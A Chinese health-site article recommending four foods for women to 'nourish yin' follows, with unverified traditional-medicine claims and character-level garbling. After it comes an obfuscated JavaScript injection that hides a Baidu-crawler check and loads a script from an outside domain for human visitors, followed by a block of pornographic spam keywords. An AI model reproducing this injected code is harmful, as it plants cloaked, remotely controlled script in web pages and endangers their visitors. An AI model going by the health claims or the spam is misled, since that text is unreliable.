當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

女人吃什么滋陰補(bǔ)陰?四大滋陰補(bǔ)腎的食物

2013-04-09 19:04:32  來源:360常識網(wǎng)   熱度:
導(dǎo)語:滋陰通常又稱補(bǔ)陰、養(yǎng)陰、益陰,假如出現(xiàn)了某些癥狀,很可能就說明你需要滋陰啦。那么女人吃什么食物滋陰補(bǔ)腎呢?

滋陰通常又稱補(bǔ)陰、養(yǎng)陰、益陰,假如出現(xiàn)了某些癥狀,很可能就說明你需要滋陰啦。那么女人吃什么食物滋陰補(bǔ)腎呢?下面360常識網(wǎng)為女性朋友們介紹四種滋陰的食物,希望對女性朋友們有所幫助,擁有健康身體。

女人吃什么滋陰補(bǔ)陰?四大滋陰補(bǔ)腎的食物
銀耳

四大滋陰補(bǔ)腎的食物:

1、銀耳——可以潤肺止咳、生津養(yǎng)陰

銀耳每100克干品中含蛋白質(zhì)5-6克,脂肪0.6克-3.1克,碳水化合物79克,粗纖維2.6克,鈣380毫克,磷250毫克,鐵30毫克,還含有維生素B2、胡蘿卜素、膠質(zhì)蛋白等人體必需的營養(yǎng)物質(zhì)??梢詽櫡沃箍?、生津養(yǎng)陰,還具有消除肌肉疲勞,健腦仿衰的作用。

2、西洋參——溫和滋補(bǔ)養(yǎng)陰

西洋參,又叫花旗參。他所含的皂甙有顯著的抗疲勞、抗利尿、抗缺氧能力。尤其在人們出現(xiàn)陰虛少氣、口干口渴、萎靡乏力的情況,而在煮粥或者燉肉中放入一些西洋參,不僅能鎮(zhèn)靜秋燥,還能溫和滋補(bǔ)。

3、百合——具有養(yǎng)陰潤肺,清心安神,解熱利尿

“春暖卷簾永晝長,池塘碧艷臥鴛鴦。”這是百合花盛開的美麗。“更氣兩從香百合,老翁七十尚童心。”這是說百合的對人的保健作用。中醫(yī)認(rèn)為,百合味甘,微苦,性微寒。入心、肺二經(jīng)、為清補(bǔ)之品。具有養(yǎng)陰潤肺,清心安神,解熱利尿,止咳平喘,理胃健脾的功效。

4、烏龍茶——可以通水利尿、滋陰養(yǎng)陰

喝上一杯發(fā)酵適中,不寒不熱,性平的烏龍茶,能夠有效地消除夏天身體所淤積的余熱,恢復(fù)津液,讓人感到口中潤澤,周身滋養(yǎng)。而且也可以通水利尿,對于暑熱濕氣的排除也非常有效。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲人精品午夜射精日韩 | 国产午夜精品理论片久久| 精品亚洲国产成人| 国产综合精品久久亚洲 | 日韩亚洲精品福利| 国产精品高清一区二区三区不卡 | 久久久精品2019中文字幕之3| 国内精品久久久久久久久蜜桃 | 无码国模国产在线无码精品国产自在久国产 | 无码人妻精品中文字幕| 国产精品成人观看视频网站| 一本色道久久88亚洲精品综合 | 日韩一区精品视频一区二区| 国产精品成人h片在线| 欧美日韩精品SUV| 久久无码专区国产精品发布| 亚洲精品无码永久在线观看你懂的| 国产一区二区精品在线观看| 亚洲youwu永久无码精品| 99爱在线精品视频免费观看9| 久久久久国产精品三级网| 手机国产乱子伦精品视频| AAA级久久久精品无码片| 亚洲AV第一页国产精品| 国产成人精品一区二区三区无码| 依依成人精品视频在线观看| 国产成人久久精品77777综合| 国产精品爽黄69天堂a| 99国产精品视频免费观看 | 1717国产精品久久| 亚洲国产精品嫩草影院在线观看| 久久久精品波多野结衣| 午夜三级国产精品理论三级| 日本精品在线观看视频| 精品国产粉嫩内射白浆内射双马尾 | 亚洲国产精品人人做人人爱| 国产成人精品免费视频软件| 精品亚洲成A人在线观看青青| 亚洲中文字幕久久精品蜜桃| 午夜精品久久久久久影视riav| 久久精品卫校国产小美女|